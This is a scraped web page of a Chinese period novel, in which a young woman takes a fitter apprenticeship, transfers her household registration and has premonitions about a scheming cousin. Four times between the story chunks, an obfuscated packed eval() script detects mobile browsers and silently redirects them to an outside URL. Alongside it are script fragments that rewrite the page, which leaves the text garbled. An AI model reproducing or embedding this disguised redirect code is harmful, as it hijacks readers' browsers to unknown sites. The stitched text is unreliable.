;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830566|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往天上看了一眼,起了黑云,怕是会下雨。 杜思苦顺手把窗户给关上了,拴好。 余凤敏已经在门口等着了。 杜思苦拿着钥匙出来锁门。 余凤敏笑嘻嘻的指着前面,“你看,那个鸡窝头又跟人吵起来了。” - 火车站。 杜母已经在火车站等了二个多小时,总算是等到松县开往阳市的火车了。她叫上老三去了候车站。 下了一波又一波的人。 杜母妹妹黄彩荷说是带女儿一起过来,是两个人,她只管往母女俩的人群身上瞧。瞧了半天也没找到。 信上说的明明就是今天啊,9月,12号,这日子没错啊。 “老三,你刚才瞧没瞧见跟我长得像的?”杜母去问杜家老三。 她年纪大了,眼睛不如年轻人好使了。 “没看到像你的,就看到一个长得像姥姥的,是三个人,两女的一男的,年纪大的那个扶着男人往外头走。”杜家老三如实说道。 如果是小姨,应该跟他妈差不多年纪,刚才过去那个人实在是不像,一头的白发,不像是五十的,倒像是六七十的。 火车的人下完了。 没人了。 杜母半信半疑的让杜家老三带她去找刚才的那三人。 她妹子今年才四十五,不该比她老啊。 像她这模样,左邻右舍的都说她像四十出头呢。 这一找就找到了火车站外头。 “二姐!”一个饱含热泪的声音从远处传来。 杜母一瞧,愣住了,“彩荷?” 彩荷怎么成这样了? 一头白发,人瘦得不成样子,眼窝都陷进去了,身上衣服倒是有七成新,只是不太合身,像是穿了别人的衣服。 杜母眼泪都出来了。 彩荷这日子得有多苦啊! 两姐妹十几年没见,抱头痛哭。 - 机修厂,女工宿舍。 保卫科的吴队长过来了。 宿管张阿姨带着吴队长去了红砖小楼靠西边的窗户底下,指着二楼说:“吴队长,您看那墙边的那个黑印子,像不像是人的手印?” 吴队长眼睛一眯。 像。 张阿姨低声说:“这几天晚上我都听到墙外头有动静,出去瞧没瞧着人,咱们这边毕竟是女工宿舍,住的都是未婚的女青年,安全这方面您是不是多费费心。” 她就怕有二流子、小流氓盯上宿舍的女工。 5. 005 火车站。 “二姐,这是于强,是我爱人,”黄彩荷用袖子擦了泪,跟杜母介绍着,“这是月莺,是我闺女。”说完转头对于月莺道,“快叫姨妈。” 于月莺低着头,笑得羞涩,“姨妈。” “唉!”杜母笑道:“这孩子看着就是懂事的。” 杜母把杜家老三拉过来:“这是我家老三,比你家月莺小两岁,老三,叫表姐。” 于月莺听到‘小两岁’这几个字的时候,脸色变了变。 说别人小,就显得她大。 在老家她听过太多次这样的话了,二十二岁的大姑娘了,还没嫁人,在村里没少被说嘴。 于月莺抬起头,认真的看了看杜母。 姨妈比她妈还大三岁,头发黑亮亮的,脸上有肉,不显老。 跟她妈站在一起,姨妈反倒看着像妹妹。 姨妈嫁给了城里人,日子过得好。她妈死心眼的跟了她爸,硬是把城里户口变成了农村户口,这大半辈子不知吃了多少苦。 于月莺暗暗告诫自己:自己绝对不能像她妈一样,嫁到山沟沟里。 得从那穷地方挣脱出来。 杜母看天色不对,怕一会变天,就叫杜家老三拿上了黄彩荷他们的行李,准备走快些回家。 杜家老三提了肩上扛了一个,两只手一手提着一个,一开始他还是跟杜母差不多速度的,可走了一会,小姨家那几位越走越慢。 杜家老三身上行李重,不愿意等他们,“妈,我先回去了。” 不等了。 “去吧。” 杜家老三个子高,腿长,拐了个弯,一会就没影了。 杜母四个越走越慢。 “姐,要不歇歇?”黄彩荷满脸歉意,“他身子强不好,不能累着。”说是她丈夫于强,当初她跟于强谈对象那会,于强身强力壮,长得帅气得很。谁知后来突然就病了,这身子骨不能干重活,后来家里的重担就落到了她身上。 好在日子虽苦,于强对她是极好的,吁寒问暖,生怕她冷着冻着饿着。 “好,那我们找个地方坐坐。”杜母多瞧了妹夫于强两眼。 刚才瞧着挺精神的,这会却喘得厉害,站着都吃力。 - 杜家进了铁路家属大院,还没到家,路上就碰到邻居了,“你妈去哪了?你家老太太在院里洗衣服呢,棒槌槌得老响了。那一大盆子的衣服,老多了。” 有儿媳妇有孙女的人家,哪能让七十多的老太太洗衣服啊。 传出去不好听。 杜家老三:“那是我小姑的衣服,昨天带回来的,泡了一晚上没洗。”又听他说,“我小姨一家三口今天过来,我妈去火车站接人了。” 有事,所以不在。 邻居听明白了,“你小姑回趟娘家还带这一盆子的脏衣服啊?” 是这样。 杜家老三点头。 邻居都笑了,摇摇头走了。 杜家老三回到家,果然看到奶奶正在院子里洗衣服,就在院门口,搬了个小板凳,路过的邻居都能看到。 看得可清楚了。 “奶奶。”杜家老三喊完人,就径直往屋里走,他身上还有一堆的东西呢,有点沉,先把东西放下再说。 至于奶奶洗的那些脏衣服,他是男的,洗小姑的衣服,不合适吧。 杜奶奶放下手中的棒槌,扭头问:“你妈去哪了?一大早就不见人影,是不是摆脸色给我看啊。” 是不是不想让得敏在家长住啊? 杜家老三猛灌了一大口水,咽下去,这才说道:“我小姨一家过来了,我们刚才去火车站接人了。我估计,他们得在咱们家住一阵。”要不能有这么大一堆东西吗? 彩月的娘家亲戚过来了? 杜奶奶顾不上衣服了,“几口人?” “三口,小姨,姨夫,还有个表姐。”杜家老三休息了一会,往西屋走去。老四今天说要去换药,不知道头怎么样了。 门关着。 他推开门一看,这老四上铺的被褥呢? - 机修厂。 “登记表填了?” “填了。” “宿舍也搬过去了?” “搬了。” 李主任乐了,这两个小姑娘还挺能干的。不过,他还是把重点放到了余凤敏的身上,领着两人去了总务处。 这边是安排工作的。 总务这边已经来上班了,负责人姓顾,顾主任长得白白净净的,看着很和气,看到李主任带着两姑娘进来,脸上就露出笑容:“李主任,什么风把您吹来了。” “顾主任,”李主任笑着介绍,“这是余凤敏,这们是小杜,他们昨天来报到的。都是高中毕业的,有学历,能吃苦。咱们厂啊,工人多,识字的少,您这边看看哪个部门还缺人,给她安排安排。” 两个小姑娘,肩不能挑手不能扛的,还是李主任特意领来的,顾主任觉得这两个小姑娘是想进科室。 科室是坐办公室的,活轻松些。 “现在一车间缺两个钳工。”顾主任笑了一下,“要是干不来,三车间那边垃圾多,最近人手不够,缺几个打扫的。” 都不是轻松的活。 这个笑面虎。 李主任脸上有些挂不住,杜思苦两人是他带过来的,小顾是为难新人还是为难他? 杜思苦心中有了决定,她要去车间当钳工。 扫地没什么前途。 不说现在落叶多,等再过几个月,天冷了,该下雪了,那会只怕还要扫雪。 她悄声问身边的余凤敏:“我去车间,你呢?” 余凤敏:“跟你一样。” 两人商量好后,就说了,“主任,我们去车间当钳工。” 杜思苦还补了一句:“我们现在还不会,但是我们可以学,我们能吃苦!会好好学的!” “对!”余凤敏大声附和。 顾主任诧异的看了两人一眼,又看看李主任。 能吃苦? 这两个不是关系户? 李主任:“她们是拿着介绍信进来的。” 可不是他塞进来的。 他就是跟小姑娘投缘,咳,这当然跟余凤敏的父亲是革委会的主任没关系。 投缘。 顾主任神情轻松了些,“行,那你们就去一车间。” 他倒要看看,这些小姑娘们能在车间呆几天。 - 一车间。 总务的顾主任领着两个小姑娘过来了。 他把人领到了车间副主任的办公区,一车间的副主任姓贺,长脸,浓眉,约五十来岁的模样,高大结实。 车间副主任听到顾主任说这是车间新来的钳工学徒,脸色不太好看。 “你们两个,先去外头等一会。”副主任沉着脸对杜思苦两人说道。 杜思苦跟余凤敏从里面出来了,还贴心的把门带上了。 木门不隔音,没一会就听到里面传来了争吵声。 吵得很凶。 余凤敏郁闷道,“这车间也不是轻松的活,怎么这副主任还不想要咱们似的。” 杜思苦比了一个嘘声的手势。 这门不隔音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830567|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了一会,里面安静了。 门开了。 总务的顾主任笑着从里面走出来了,“贺主任,那小杜、小余就交给你了,她们学历高,脑子好,又能吃苦,找个老师傅带一带,就能干活了。” 车间贺副主任半信半疑。 顾主任满意地走了。 车间副主任黑着脸喊道:“鹏子,过来一下。” 没一会,一个干干瘦瘦的人过来了,人在工作服里打晃。 “这是小杜,这是小余,是咱们车间新来的学徒工,你带带她们,看她们能不能上手。”贺副主任显然是不指望的,把两人交给鹏子之后,就把三人给打发走了。 车间活重,又累,不是小姑娘能吃得消的。 “跟我来吧。”鹏子瘦归瘦,但是副主任交待的事他还是挺认真的,“等会你产两个去领一套工具,平常除了跟在我身边学习,自己也要练习惯锯削、锉削……” “鹏子哥,什么是锯削?”余凤敏不懂。 鹏子好久没说话。 过了一会,“你们等会先从认工具开始吧。” 杜思苦:“鹏子哥,咱们机修厂有图书馆吗,有钳工学习的书吗?” - 铁路家属大院。 杜母的脸色特别难看。 她带着妹子一家回来,家里没人不说,院子还从外头锁上了。 没人在家。 院子里还有洗了一半的衣服。 黄彩荷看到挂锁的院门,心里也是一咯噔一下。 二姐的婆家人不欢迎他们? 杜母勉强挤出一个笑:“可能是出门买菜了,咱们先进去。”还好她带了钥匙,开了院门后,她把人领进屋。 屋里果真是一个人都没有。 好在桌上摆着瓜子花生,杜母心里舒服了些,还摆了小半包茶叶,这是过年的时候没喝完的,是公公的东西。 这应该婆婆从屋里拿出来的。 婆婆还是懂礼数的。 杜母道:“渴了吧,你们想喝什么,茶叶还是白糖水?”家里都有。说完,她一拍脑袋,“昨天隔壁小刘送了些桃酥过来,又香又甜,你们尝尝。”说完便拿钥匙开了厨柜上锁的门,把桃酥拿了出来。 于月莺看着这些过年都吃不上的东西,眼眶有些发红。 她抿抿嘴,又瞧了瞧黄彩荷:“妈,爸不舒服,要不让他先歇一歇。”这话她不好跟姨妈讲。、 杜母倒了糖水给于强,“你喝这个,这个喝了有力气。” “谢谢二姐。”于强声音虚弱。 黄彩荷接过杯子,喂给于强喝。 这妹夫只能去老三的屋里歇着,西屋是女儿们住的,东屋是她两口子住的,不好给外人住,南屋是长辈的,还有一个屋是小姑子的,更不方便。 老三那屋子原来是三兄弟一起住的,老二两年前闹了别扭下乡之后,再没回来过。 这倔驴的东西杜母是不敢动的。 这臭小子要是回来发现别人动了他的东西,下次再走,只怕是一辈子不回来了。 “彩荷,来,帮我搭把手。” 杜母找了块门板,拿了两个长凳,在老三屋里搭了一张床,新床,这样就好了。 她又找出老大以前用过的被褥给铺上。 是干净的,只是太久没用,有些味了。 可现在也讲究不了这些。 于月莺看着杜母做的这些,心里堵得慌。 这么大个房子,那么多床铺,偏偏腾不出一间给她爸歇歇,只能临时搭个床板出来让她爸睡,这是瞧不起他们穷亲戚吗? 6. 006 机修厂。 鹏子哥领着杜思苦两人去了仓库那边,领了两套旧工具,这是给她们练手用的。 新工具那得两人当上正式钳工之后才有。 一早上很快就过去了。 到中午吃饭时,鹏子哥才知道两人还没去领粮票。 食堂只认粮票跟饭菜,没有可吃不上饭。 “走。” 杜思苦原以为这走字说的是去食堂,正想委婉拒绝。她是打算等会回趟家,在家吃饭,顺便把她搬出来的事跟家里人说一声。 早上出门得急,还没给家里留口信呢。 结果,还没等拒绝,就听余凤敏问:“去哪?” “总务科,咱们走快些,再过一会总务科的人可就下班了。”鹏子哥越走越快,“你们头一天来,得把粮票领了,不然以后可没饭吃。” 食堂打饭不光要粮票,还要饭票。 食堂的饭票可以用钱买,也可以用粮票买,饭票上面写的是金额,打主食就要用饭票跟粮票,打菜只用饭票就行了。 杜苦思一听是去领粮票,立刻跟上了。 余凤敏也一样。 “鹏子哥,不是登记处的那边给申请,然后再去领粮票吗?”余凤敏心里纳闷。 鹏子哥:“登记科也是总务科下头的,都归顾主任管。” “走快些。” 他心里是这样想的:你们没粮票吃饭,我带你们,是你们半个师傅,那不得吃我的? 鹏子哥哪哪都好,就一样,舍不得花钱。 他不光舍不得给别人花钱,也舍不得给自己花钱,他的工资都是上交给他媳妇的。他手里除了每天一人份的饭票粮票,多余的一分没有。 三人走得飞快。 十多分钟的路,五分钟就走完了。 很快就到了总务科。 门是关着的。 也不知道有没有人,鹏子哥赶紧敲门。 “进来。” 顾主任在里面,登记处的小江这会正在汇报工作呢。 有人! 鹏子哥心里踏实了,中午这两新人的午饭有着落了。 他打开门带杜思苦两人进去了。 顾主任怎么也在? 鹏子哥心里有点慌,他更想看到总务科的小赖,顾主任虽然看着和气,但是并不是很好打交道。 “顾主任,这是我们一车间新来的钳工学徒,她们身上啥也没带,这中午连口热饭都吃不上,我寻思着不如让她们先把粮票领了……” 鹏子哥不太敢看顾主任的脸,他盯着地面,把话给说完了。 杜思苦跟余凤敏安安静静的站在鹏子哥的身后。 顾主任道:“行,这事我知道了。还有事吗?” “没了。”鹏子哥道。 顾主任指了指门口。 可以出去了。 鹏子哥瞧了瞧顾主任的神色,还是没敢再说什么,只好往门外走。 毕业总务科管着粮票发放,他也不敢得罪。能为小杜、小余做到这份上,已经是壮着胆子了。 怎么偏偏是顾主任呢? 要是小赖在这就好了。 鹏子哥走到门外,摸出自己的粮票跟饭票,多数了两张,准备中午出一回血,请两个‘徒弟’吃一顿。 不过他得跟她们说好,这是饭票以后等她们发了粮票,要还的。 结果一扭头,小杜跟小余竟然没跟上来。 跟在他后面出来的是小江,小江还顺手把门给关了,“顾主任跟她们谈事呢。” 鹏子哥眼睛都亮了:“这是答应给粮票了?” 他手脚利索的把粮票跟饭票塞回了里面衣服的兜里,扣子扣得紧紧的。 - 总务科。 “粮票这件事是这样的,粮票是跟户口走的,你们的粮票应该跟着家里走的,国家核定的粮票你们在家里人会在粮店去领。今天十二号,我们厂里是十五号发粮票,你们要是想在厂里领粮票,这三天之内把户口转过来,这户口的手续最好14号之前能办完。” 顾主任总务科就是管这个的,对这些事清楚得很。 户口转到厂里? 杜思苦费了老大劲才没让自己笑出来。 转了户口,以后结婚这种事家里压根就拿捏不住她了,户口本在她手上,她想怎么样就怎么样! 嘿嘿嘿。 杜思苦恨得不今天就给办了,“顾主任,您能不能跟我们说说,这迁户口是怎么样的一个流程?” 顾主任瞧出了杜思苦想转户口,不过旁边那个小余,好像挺犹豫的,于是问:“你要是不想转户口,这粮票可以继续从家里领。” 余凤敏眉头紧锁:“那以后我厂里粮票涨到四十斤一个月,家里那只能领二十斤,我不是亏了?” 四十斤粮票,你当你是五级钳工啊! 顾主任:“这样吧,这事你拿不定主意,户口先不动,等放假你回家跟你家里人商量一下。” 说完,他指了指门口。 出去吧。 余凤敏确实拿不定主意,乖乖的出去了。 杜思苦:“主任,要填什么表吗?”她的积级性非常高! 眼睛发亮。 这个顾主任,真是越看越可爱。 顾主任不知怎么的的,突然感觉有点冷。 “这是户籍申请表,你先填上。”顾主任把表跟笔都递了过去,“好好写,别写错字。”不然又要浪费一张申请表了。 杜思苦懂。 只见她在户籍迁移申请上咔咔一顿写,“主任,写好了,您给看看还有什么要补充的。” 她把表递过去。 顾主任正在给杜苦思写正式员工证明,准迁户口证明,听到杜思苦说表填好了,愣了一下,这小杜不是随便瞎写的吧。 他接过申请表一看,写得挺工整的,该写的都写了。 字不错。 又一瞧,“铁路家属大院?” 家里铁路的。 “对,我户口在那边,主任,我下午能不能请个假,去把户口的事办了。”杜思苦道,“你看今天都十二号了,时间挺紧的。要是这次办不好,我这一个月好没法好好吃饭了,我妈特别抠,真的,别说二十斤粮票了,十斤粮票她都舍不得给我。” 不管是哭穷,哭掺啊,别管什么招了,管用就行。 转户口才是大事呢。 “铁路那边条件应该不错啊。”顾主任一边慢悠悠的说,一边在户籍申请表上盖上公章,准迁户口证明跟正式员工证明上也盖上章了。 办事效率特别高。 顾主任虽然不太好打交道,但是吧,这人办事是真办事。 “我家九口人,兄妹五个,爷爷奶奶跟我们一起生活,最近小姑闹离婚也要回娘家过了。”杜思苦说,“家里不够住,我想着户口迁出来,给他们腾腾地。” 这些可是家丑了。 她又找补:“主任,我家的事我就跟您说了,您可别跟外人讲啊。” 这是拿他当自己人了? 这小杜。 顾主任笑了一声:“行了,这事我不会传出去的。”说着,把三张表递给了杜思苦,“拿上这个,去咱们这边的派出所办一个户籍准迁证,办好之后再回家拿上户口本去原来的派出所办迁出证,那边销户之后,再到咱们这边派出所落户就行了。” “谢谢主任,太感谢您了!等回户口办好了,粮票下来请,我请您吃饭!”杜思苦激动的心,颤抖的手。 这真是天上砸下来的馅饼啊。 怎么有这么好的事呢! 杜思苦从总务科出来的时候,嘴都笑歪了。 “等会,这是你的请假条,半天假。” “谢谢主任!!”杜思苦恨不得给顾主任磕一个。 大好人啊! 顾主任:倒也不必。 - 余凤敏没走,在外面等杜思苦呢。 杜思苦咧着嘴笑:“顾主任人特别好,给我批了半天假,我回家去拿户口本,把迁户口的事给办了。” 她嘴都快笑歪了。 “真迁过来啊?”余凤敏左右瞧了一眼,“咱们机修厂位置有点偏了。”不如她家住的那地段好。 杜思苦没答,反问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830568|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹏子哥跟江同志呢?” “去食堂了。” 都不在,杜思杜这边拉着余凤敏,边走边说:“户口迁到单位,以后才能分房子呢。户口不到单位,以后福利房肯定没你的份了。你要是觉得这事不重要,那就当我没说。” 什么叫单位福利房,你户口都不在单位,谁分你房? 虽然她们现在工龄没到,但是,以后迟早有的嘛。 杜思苦脚下生风:“我去派出所看看他们上班了没。”说完又转头问余凤敏,“你有粮票吗?” “有,我妈给我带了,”余凤敏把粮票掏出来给杜思苦看,“鹏子哥刚才还给了一块钱的饭菜票,让我省着点用。” 说是借给她的。 鹏子哥掏这饭票跟菜票的时候,手都是哆嗦的。 跟割肉似的。 “那行,你去食堂打饭,我等会回家吃。”杜思苦全身上下就今天早上她妈给的一块钱准备去看病的药钱,粮票肯定是没有的。 - 卫生所。 杜家老三不死心的问:“袁医生,我妹妹杜思苦今天早上真没来过?” 老四早上出门换药,一直没回家,他就出来找找。 结果这一找就发现问题了。 袁医生说老四没过来。 袁医生眼皮抬了抬:“没过来,她说头疼,可能摔下来摔出淤血了。家里就别让她干重活 累活了,让孩子好好歇歇,养一养。” 铁路那边的家属都在他这边看病,杜家的情况他还是了解一点的。 家里两个姑娘,待遇天差地别。 杜家老三:“我知道,我会跟我妈说的。”这几天老四没干累活。 菜饭是他妈做的,姑姑那一堆的衣服这次也没落到老四头上。 杜家老三从卫生所出来,往家里走,老四兴许已经回家了。 走着走着,西屋上铺那空荡荡的床在他脑子里越来越清晰,老四的被褥去哪了? 老四早上出门带走的? 离家出走? 还是被哪个小混子给骗了。 杜家老三越想越不对,越走越急。 - 铁路家属大院。 杜母在家里忙得不可开交,得淘米做饭,得洗菜切菜,还得招呼客人。忙死了,家里一个用得上的人都没有。 婆婆不知道去哪了,还不回来。 老杜也是,今天明明休假,跟他说好的让他去买肉买鱼,到现在连个人影都见不到。还有老三,这行李倒是送回来了,人呢? 死哪去了? 正念叨着老三呢,老三就回了。 杜母沉着脸:“你去哪鬼混了。” 杜家老三:“妈,老四回来了吗?” 杜母被这么一问,脑子一下子有些懵,过了好一会才想起来,“老四说有个同学给她介绍工作,她去瞧瞧,估计得晚点回来。”临时工这种工作,钱不多不说,随时可能被辞退。 杜家老三这才放心。 “你奶奶呢?”杜母问他,“你回家的时候你奶奶在不在家?” “在,后来我就出门了,我走的时候奶奶还在家呢。”杜家老三往屋里看,“奶奶是不是去接文秀(小姑的女儿)了,姑姑昨天念叨着文秀没带过来。” “那也不能让你奶奶去啊,一把年纪的人了。”杜母脑子像是通了电似的,忽然想明白一件事。 老杜肯定是接郭文秀去了! 你就这人! 接外甥女比招呼她亲妹子还重要呢! 杜母火气一下子就上来了。 - 十二点。 杜思苦喜滋滋的从派出所出来。 这是机修厂这边的派出所,她是跑着过来的,满头大汗的进了派出所。可算是没白跑,派出所还没下班,正要下班呢,看她跑得这么急,那个热心的民警同志帮忙了。 领她到户籍室,把准迁证办好了。 办好了! 再上来她回家拿户口本,去铁路那边的派出所办个迁出跟销户就好了! 啦啦啦 今天是个好日子! 7. 007 到了公交站,杜思苦发现,今天日子也没那么好。 公交车刚走,下一趟得等一个多小时呢。那不能等,她就走啊走,走了半个小时,终于找到了一个公交站,这趟有四路车跟六路车。 杜思苦看了一下四路车经过的站点。 其中有一站叫园林路,离她家只有两站路,可以走回去。四路车路过的站点都是市区内的,比六路车发车勤一些。 杜思苦刚等了一会,四路车就来了。 车的票价都是一样的。 没座位,杜思苦是一路站着到园林路的。 饿了。 早上就吃了江同志给的那个黑面馒头,都过了五个多小时了。 杜思苦肚子咕咕叫。 想一下其他的事转移注意力,今天小姨跟她女儿过来,家里的菜应该会有肉吧。家里的户口本该怎么拿呢? 用什么理由拿呢? 杜思苦想过来直接跟她妈说找着‘临时工’的工作了,但是以杜母的性子,只怕要上交工资的。 想着想着,园林路到了。 她下了公交车,飞快的往家里走,希望家里还能给她留点剩饭。 路过街边的国营饭馆子,红烧肉的香味飘来,她停下脚步,使劲嗅了好几口。这个身体从小在家里很少吃荤的,过年都吃不上肉。 身体本能的馋肉。 肥肉也馋。 国营馆子的肉是香,可惜她身上没钱,也没粮票。早上杜母给的那一块钱是这个月的饭钱,轻易不能动。 杜思苦加快脚步,先回家看看有没有剩饭,要是没菜了,自己回家炒个饭,要是饭也没了,那就想办法弄点吃的。 昨天隔壁刘姨送来的桃酥应该还在,等她发了工资,买了再还给刘姨。 她一路走一路想。 “思苦。” 谁在叫她? 杜思苦正要回头,只见一个年轻男人骑着二八大杠自行车过来了。 隔壁家的沈洋! “我妈说你头受伤了,还好吧?”沈洋五官端正,高高瘦瘦的,就是神情有些憔悴,黑眼圈挺重的。 除非杜思苦脑子里那段‘多余’的记忆不谈,这位老邻居沈洋大哥确实是大院里的知心大哥,院里长大的孩子对沈洋的印像都不错。 “我没事。”杜思苦退了一步,跟沈洋拉开距离。 脑子里那段‘多余’的记忆疯狂涌出来,有对沈洋的恨意,不满,也有对‘自己’的悔恨,更多的是痛苦。 还有对未来的‘害怕’。 杜思苦情绪波动很大,脑子里的记忆混乱又清晰。 无一不是告诉她,远离‘沈洋’。 “你是不是要回家,我捎你一程?”沈洋看着瘦胳膊瘦腿的杜思苦,主动关心,“你嘴唇怎么乌白乌白的。” 杜思苦看不见自己的脸的多白,估计是刚才的情绪闹的。 她想着找着机修厂工作的事,想着迁户口的事,想着未来靠自己赚钱吃饭。慢慢的,脑子里那段疯狂的念头被压了下去。 有一股意志,似乎对她规划的未来很满意,很期待。 “你没事吧?”沈洋看杜思苦半天不动,他从自行车上下来了,准备把杜思苦扶到二八大杠的后座,捎回去。 “我没事,”杜思苦拉开距离,“可能是中午过了饭点没吃,有点饿了,回家吃顿饭就好了。” 她可不想被邻居们看到,她坐沈洋自行车的后座。 万一有流言传出来可就不好办了。 “思苦,你不用跟我客气,咱们两家十几年的交情了,我一直拿你当妹妹。”沈洋拍了拍后座,“上来没事,很快就到家了,你不舒服可别硬撑着。” 他看杜思苦那状态不对,刚才那小脸白得跟得了重病似的。 总归是邻居,他不能不管啊。 沈洋大哥还挺固执的。 杜思苦突然指着前面,:“沈大哥,你看那个是不是美姿姐(沈洋前妻),就在那个拐角,穿着花裙子的!” 沈洋脑袋一下子扭过去了:“哪呢?!” 声音激动。 杜思苦:“那边,从那个电线杆进去的巷子!” 杜思苦伸手就往前面指,就那。 她可没撒谎,确实有个花裙子的姑娘,那背影跟沈洋媳妇特别像,真的。 至于是不是,那得过去看了才知道。 沈洋二话没说,骑着二八大杠就蹬过去了,“思苦,谢谢你啊!” 他弯着腰骑得飞快,眨眼人就不见了。 瞧瞧,这速度! 这沈洋大哥心里只有他那个离婚的媳妇! 杜思苦赶紧往家走。 至于沈洋能不能找到他媳妇(或前妻),跟她没关系。 总算是到了铁路家属大院,自家门口。 还没进门,就一股排骨汤的香味飘了出来,还有红烧鱼的味。 真香啊。 还没吃完吧! 杜思苦脚下生风。 “妈,我回来了!” 来得早不如来得巧啊,刚开饭呢! 杜思苦高高兴兴的找个凳子坐了下来。 杜母端着青椒鸡蛋从屋里走出来,看到杜思苦上桌了,眼睛一瞪,“你赶紧从桌上下来。”小孩子家家的上什么桌。 杜思苦:“妈,我坐不下我肯定就起来了,我从外面走回来的,累得很,你就让我休息休息。” 杜母还想杜思苦去厨房帮着盛饭呢,结果这丫头喊苦喊累。 杜父:“她累了,让她歇着,她病还没好呢。” 杜父虽然重男轻女,但也是疼女儿的,毕竟是女儿也是他的骨肉。 杜母没办法,老杜都发话了,她能怎么办呢? 她眼睛扫过屋里的人,妹子一家是客人,不能使唤,婆婆年纪大了,又是长辈,坐在那不动就是不想搭把手。 小姑子的女儿虽然十二岁了,但是娇生惯养的,叫不动。 杜母气闷的回了厨房,杜家老三跟了过去。 - 杜父早上先去了妹夫家,了解了一下情况,同时把妹妹的女儿郭文秀接了回来,应该在郭家多呆了一会,出来买肉的时候已经有些晚了。 等到买完鱼肉回来的时候,半路上碰到了他妈,老人家走得慢,回来就更慢了。 一晃都快十二点了。 要不然也不会这会才吃午饭。 杜父跟杜思苦介绍:“这是你小姨,这是你姨夫,这是你表姐。” 这是让杜思苦叫人。 “小姨,姨夫,表姐,你们好,我是杜思苦。”杜思苦喊了人,看了看小姨一家三口,算是把人脸认清了。 之后事她眼睛更多的在桌上的肉菜上,排骨挺多的,买了只怕有一斤多,鱼不大,就一盘子,切成块了,一人一筷子应该是有的。 “思苦一看就是能干的。”小姨夸着。 表姐于月莺也细细的开口:“表妹好。” 排骨够一人一块吗? 本来杜思苦在想排骨的事,可‘表妹好’这声音一出来,她的脑子又像不受控制似的。紧接着,冒出了一段之前不存在的‘记忆’。 跟这位表姐有关。 记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830569|158953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,表姐在杜家住下了,占了杜思苦的床铺,杜思苦没地方睡,借住隔壁沈家女儿的屋子。 后来就不知道从哪传出流言,说杜思苦暗恋沈洋。 再后来,就是杜思苦收到了学校寄来的介绍信,是工作介绍信,寄到杜家的,被表姐于月莺收到了。 再后来,就是于月莺去了介绍信中的纺织厂,成了一名女工,顶了她的工作,拿到了城里户口。 杜思苦捂着脑袋。 头疼。 “老四,你怎么了?”杜家老三端着三碗饭出来,看到妹妹情况不对,急忙问。 “医生说我贫血,得吃红肉补补。”杜思苦甩甩头,“我头疼。” 脑子里还是疼。 杜思苦有了刚才经验,脑子里想着工作:学校的介绍信我提前拿到了,不会再寄到家里了,也不是纺织厂的工作。就算再有工作介绍信到家里,我也不会让这表姐冒名顶替我的身份! 脑子里那股不甘的意志表达出了一种欣喜的情绪。 果然有用。 杜思苦暗暗在脑子里说道:放心吧,等会我就去派出所把户口迁出来,到时候家里谁都用不了我的户口本。 脑袋终于不疼了。 杜思苦总算是舒服了,一摸,一头的冷汗。 杜母这会已经把饭都摆上桌了,看老四这模样确实不像是装的,于是把第三满的那碗饭摆到了杜思苦的跟前,“多吃点饭就好了。” 真病了? 家里的饭桌是个八仙桌,四四方方的,下面摆的是长条凳,能坐八个人,这会杜家加上客人一共九个人。 只多了一个人,挤一挤,再塞一个椅子进来就行了。 杜思苦坐在原来的位置没有动,自己端起碗,夹菜。 她没客气,夹了一筷排骨,一块鱼,都是挑大的夹。她算过了,盘子里的块数够人一人一个的。 杜母以前会拦着让杜思苦少吃点,这会没作声。 杜奶奶也是一样。 “大家都吃啊,别客气。”杜母大方的给黄彩荷夹了两块排骨,瞧她妹子过的什么苦日子啊,多吃点肉补补。 黄彩荷把杜母夹来的两块排骨,一块给了丈夫于强,一块给了女儿于月莺,然后默默的吃白米饭。 在他们家,白米饭都是精贵东西,平常都舍不得吃。 杜母见了,又给妹子夹了一块鱼,“你别光顾着他们,你自己也吃啊。” 她跟妹妹黄彩荷是一块长大的,感情自然比这妹夫跟外甥女深一些,说句不好听的,要是没她妹子,那两个对她来说就是陌生人。 